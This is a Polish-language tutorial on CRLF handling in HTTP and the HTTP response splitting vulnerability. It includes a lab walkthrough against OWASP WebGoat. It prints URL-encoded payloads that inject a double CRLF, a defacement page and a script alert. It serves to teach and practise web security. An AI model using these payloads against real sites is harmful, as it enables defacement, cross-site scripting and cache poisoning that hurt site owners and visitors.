Protokół HTTP używa sekwencji znaków CRLF do oznaczania, gdzie kończy się jeden nagłówek, a zaczyna następny, a także do wskazywania przejścia między nagłówkami a treścią strony.
Udostępnij!
Przykładowo – jeśli otworzymy w przeglądarce stronę http://www.goodshopping.com, nasz komputer wyśle do serwera www odpowiednio skonstruowane żądanie typu GET:
GET / HTTP/1.1
Host: www.goodshopping.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure–Requests: 1
W odpowiedzi z serwera otrzymamy następujące dane – kod odpowiedzi, nagłówki i treść strony:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 08 Mar 2020 20:42:16 GMT
Content-Length: 13472
<!DOCTYPE html PUBLIC „-//W3C//DTD XHTML 1.0
Transitional//EN”
„http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head id=”Head1″><meta http-equiv=”Content-Type”
content=”text/html;charset=utf-8″
/><meta name=”description” content=”Good Shopping Web
Site” /><meta name=”author” content=”EC-Council”
/><meta name=”keywords” content=”Sopping,Online-Shopping,Good
Shopping” /><title>
GoodShopping
</title>
…
Kiedy przyjrzymy się uważnie całej komunikacji sieciowej (np. za pomocą oprogramowania Wireshark), przy transmisji HTTP na końcach linii dopatrzymy się znaków \r\n :
Te dwa znaki to tzw. Carriage Return (\r) oraz Line Feed (\n), czyli wspomniane na początku CRLF.
W kodzie ASCII posiadają one numery 13 i 10 i są używane do oznaczenia końca linii (EOL – End Of Line).
Gdy znaki \r\n występują pojedynczo – oddzielają poszczególne nagłówki między sobą. Jeżeli jednak występują obok siebie (tzn. \r\n\r\n), wówczas mamy do czynienia z oddzieleniem nagłówków od treści HTML:
HTTP/1.1 200 OK\r\n
Cache-Control: private\r\n
Content-Type: text/html; charset=utf-8\r\n
Server: Microsoft-IIS/10.0\r\n
X-AspNet-Version: 4.0.30319\r\n
X-Powered-By: ASP.NET\r\n
Date: Sun, 08 Mar 2020 20:42:16 GMT\r\n
Content-Length:
13472\r\n\r\n ß odseparowanie nagłówków i treści HTMLowej
<!DOCTYPE html PUBLIC „-//W3C//DTD XHTML 1.0
Transitional//EN”
„http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
…
Oprócz kodu statusu odpowiedzi, w nagłówkach protokołu HTTP mogą być przesyłane takie parametry jak URI (Uniform Resource Identifier), ciasteczka (tzw. cookies), informacje o serwerze, o tym jakie formaty są obsługiwane w danej komunikacji etc.
Atak z wykorzystaniem „HTTP response splitting”.
Kiedy intruz manipuluje nagłówkami w komunikacji HTTP tak by dla pojedynczego żądania rozdzielić odpowiedź na dwie, mamy do czynienia z sytuacją zwaną „HTTP response splitting”.
Pamiętajmy, że protokół HTTP jest bezstanowy – oznacza to, że ani serwer webowy ani przeglądarka nie zauważą w takim nietypowym zachowaniu żadnego problemu.
Samo „HTTP response splitting” w zasadzie nie jest atakiem, ale raczej pewną podatnością, która umożliwia przeprowadzenie kilku rodzajów ataków:
– Cross Site Scripting (XSS)
– Cross User Defacement
– Web Cache Poisoning
– Page Hijacking
– Browser Cache Poisoning
– Browser Hijacking
Wstawiając podwójną sekwencję znaków CRLF, napastnik może przedwcześnie zakończyć sekcję nagłówków i wstrzyknąć w źródło strony dodatkową zawartość przed rzeczywistą treścią witryny – np.:
HTTP/1.1 200 OK\r\n
Cache-Control: private\r\n
Content-Type: text/html; charset=utf-8\r\n\r\n ß podwójny
CRLF
<html><h1> Strona zhackowana !!! </h1></html>\r\n
Server: Microsoft-IIS/10.0\r\n
X-AspNet-Version: 4.0.30319\r\n
X-Powered-By: ASP.NET\r\n
Date: Sun, 08 Mar 2020 20:42:16 GMT\r\n
…
Oczywiście zamiast treści <html><h1> Strona zhackowana !!! </h1></html> moglibyśmy wstawić np.: <script>alert(‘Strona zhackowana’)</script>. Wówczas otrzymamy wariant z Cross Site Scripting (XSS).
Aby użyć CRLF w żądaniu URL, musimy zastosować odpowiednie kodowanie, a mianowicie znak
CR = %0d. Z kolei znak LF = %0a, czyli podwójny CRLF (nasz \r\n\r\n) w adresie URL będzie kodowany następująco – %0d%0a%0d%0a.
A zatem przykładowy atak URL może wyglądać tak:
http://www.example.com/somepage.php?page=HTTP%2F1.1+200+OK%0d%0aCache-Control%3A+private%0d%0aContent Type%3A+text%2Fhtml%3B+charset%3Dutf-8%0d%0a%0d%0a%3Cscript%3Ealert%28%E2%80%98Strona+zhackowana%E2%80%99%29%3C%2Fscript%3E
Należy tutaj jednak zaznaczyć, że w przypadku systemów UNIX, LINUX i MacOS separatorem linii jest sam znak LF (%0a) – w takim przypadku atak byłby konstruowany przy pomocy podwójnego LF; w URLu do odseparowania nagłówków i wstrzykiwanego kodu użylibyśmy zatem ciągu %0a%0a.
Ciekawskim polecam stronę https://www.sttmedia.com/newline – możecie tu zerknąć również na inne systemy operacyjne i separatory nowej linii.
Aby przetestować (przećwiczyć) ataki przy użyciu HTTP response splitting, możemy np. skorzystać z przygotowanej przez OWASP maszyny wirtualnej z już zainstalowanymi, podatnymi aplikacjami webowymi. Opis projektu znajduje się tutaj: https://owasp.org/www-project-broken-web-applications/migrated_content, a obraz maszyny (w formacie VMware) możemy pobrać z: https://sourceforge.net/projects/owaspbwa/files/1.2/
Po zaimportowaniu i uruchomieniu maszyny możemy wejść na stronę powitalną z dowolnej przeglądarki i wybrać opcję OWASP WebGoat:
Użytkownik i hasło to guest / guest.
Po zalogowaniu wybieramy sekcję General à HTTP Splitting gdzie będziemy mogli dokonać ataku:
Teraz należy przygotować odpowiednie żądanie i
przekonwertować je do właściwego formatu.
Przykładowa treść żądania mogłaby wyglądać następująco:
pl
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25
<html><h1> Strona zhackowana !!! </h1></html>
Dodanie fałszywego nagłówka odpowiedzi Content-Length: 0 spowoduje, że przeglądarka wstrzyma przetwarzanie pierwszej odpowiedzi serwera i przejdzie do kolejnej (początkowe zadanie – Search by country: pl nie zostanie wykonane). Wstawiony nagłówek HTTP/1.1 200 OK rozpoczyna nową odpowiedź. Content-Length: 25 ograniczy przeglądarkę do przetworzenia tylko 25 następnych bajtów.
Do konwersji formatu wiadomości możemy użyć narzędzia: https://cybersecurity.wtf/encoder/, które zakoduje nasz złośliwy URL:
Otrzymamy wynik:
pl%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2025%0A%0A%3Chtml%3E%3Ch1%3E%20Strona%20zhackowana%20!!!%20%3C%2Fh1%3E%3C%2Fhtml%3E
który będziemy mogli wpisać w żądaniu wysyłanym do WebGoat:
Teraz wystarczy kliknąć przycisk Search i przeglądarka wykona nasz kod:
Miłego hackowania 😉